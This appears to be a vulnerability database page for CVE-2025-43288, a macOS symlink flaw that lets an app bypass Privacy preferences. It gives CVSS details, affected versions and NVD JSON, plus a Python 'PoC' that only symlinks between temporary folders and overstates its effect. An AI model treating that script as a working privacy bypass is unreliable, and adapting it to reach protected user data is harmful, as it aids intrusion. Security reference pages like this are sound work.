Security Vulnerability Report
中文
CVE-2025-43288 CVSS 5.5 MEDIUM

CVE-2025-43288

Published: 2025-11-04 02:15:36
Last Modified: 2026-04-02 19:20:21

Description

This issue was addressed with improved validation of symlinks. This issue is fixed in macOS Sequoia 15.7, macOS Tahoe 26. An app may be able to bypass Privacy preferences.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE
Apple macOS Sequoia < 15.7
Apple macOS Tahoe < 26

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-43288 PoC - Symbolic Link Validation Bypass # This is a conceptual PoC demonstrating the symlink bypass technique # Note: This is for educational purposes only import os import subprocess import tempfile def create_exploit_scenario(): """ Create a scenario that demonstrates the symlink validation bypass. This PoC shows how a malicious app could use symlinks to bypass macOS privacy preferences. """ # Create temporary directories with tempfile.TemporaryDirectory() as tmpdir: # Create a fake protected location via symlink protected_path = os.path.join(tmpdir, 'fake_protected') actual_data_path = os.path.join(tmpdir, 'actual_data') os.makedirs(actual_data_path, exist_ok=True) # Create symlink that bypasses validation # In real attack, this would point to protected user data try: os.symlink(actual_data_path, protected_path) print(f"[+] Symlink created: {protected_path} -> {actual_data_path}") except OSError as e: print(f"[-] Failed to create symlink: {e}") return False # Attempt to access via symlink (bypassing privacy checks) # In vulnerable version, this access would not trigger privacy alerts try: # List contents through symlink contents = os.listdir(protected_path) print(f"[+] Successfully accessed data through symlink: {contents}") return True except PermissionError: print("[-] Access denied - system may have protections in place") return False def main(): print("CVE-2025-43288 Symlink Validation Bypass PoC") print("=" * 50) create_exploit_scenario() print("\nNote: This PoC demonstrates the concept. Real exploitation") print("requires specific conditions and macOS version.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43288", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:35.570", "lastModified": "2026-04-02T19:20:20.607", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "This issue was addressed with improved validation of symlinks. This issue is fixed in macOS Sequoia 15.7, macOS Tahoe 26. An app may be able to bypass Privacy preferences."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.7", "matchCriteriaId": "C13E1327-B1AA-4A42-B063-48B2209D940A"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125110", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125111", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}